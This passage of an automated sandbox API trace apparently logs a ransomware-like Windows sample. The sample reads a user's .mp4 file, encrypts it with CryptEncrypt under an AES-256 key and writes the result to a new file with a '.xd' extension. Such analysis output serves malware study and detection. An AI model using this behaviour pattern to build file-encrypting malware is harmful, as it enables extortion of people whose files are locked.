(in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0066.286] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0066.286] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0066.287] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.287] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\jdrcvbimfdmhbft-.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0066.287] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.287] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0066.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.287] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb")) returned 0x10 [0066.288] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jDrcvbImfDMHBfT-.mp4.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\jdrcvbimfdmhbft-.mp4.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0066.288] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.288] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.288] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.288] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.290] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0066.290] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0066.292] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x404b, lpOverlapped=0x0) returned 1 [0066.292] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0066.296] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.296] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.296] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.296] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0066.297] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.297] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.297] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0066.298] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.298] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0066.298] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.298] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.298] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.298] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0066.298] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0066.298] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0066.298] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x1629670, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629670*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0066.298] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.298] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.298] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.298] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.298] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.298] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.298] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.300] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.300] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.300] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.300] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.300] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.300] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.300] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.300] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.300] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.300] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.301] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.301] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.301] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.301] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621858, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.301] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.302] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1404b, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x14050) returned 1 [0066.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.302] CharLowerBuffW (in: lpsz="byte[82001]", cchLength=0xb | out: lpsz="byte[82001]") returned 0xb [0066.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.303] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.303] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.303] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.303] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.303] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.303] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e4b70*, pdwDataLen=0x130e618*=0x1404b, dwBufLen=0x14050 | out: pbData=0x17e4b70*, pdwDataLen=0x130e618*=0x14050) returned 1 [0066.303] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.303] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.303] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.304] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.304] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.304] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.304] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.304] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.304] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.304] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.304] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.304] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.304] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.304] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.304] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.304] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.304] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.309] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.309] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.309] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.310] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x14050, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x14050, lpOverlapped=0x0) returned 1 [0066.312] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.312] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.312] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0066.312] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.312] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.312] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0066.312] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16215d0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0066.312] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0066.312] CryptDestroyKey (hKey=0x164c530) returned 1 [0066.312] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.312] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.312] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.312] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.312] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.312] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.312] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.312] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.313] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.313] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0066.313] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.313] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.313] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.313] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.313] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.313] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.313] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.313] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.313] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.313] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.313] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.315] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.315] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.315] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.315] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.315] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.315] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.315] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.315] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, 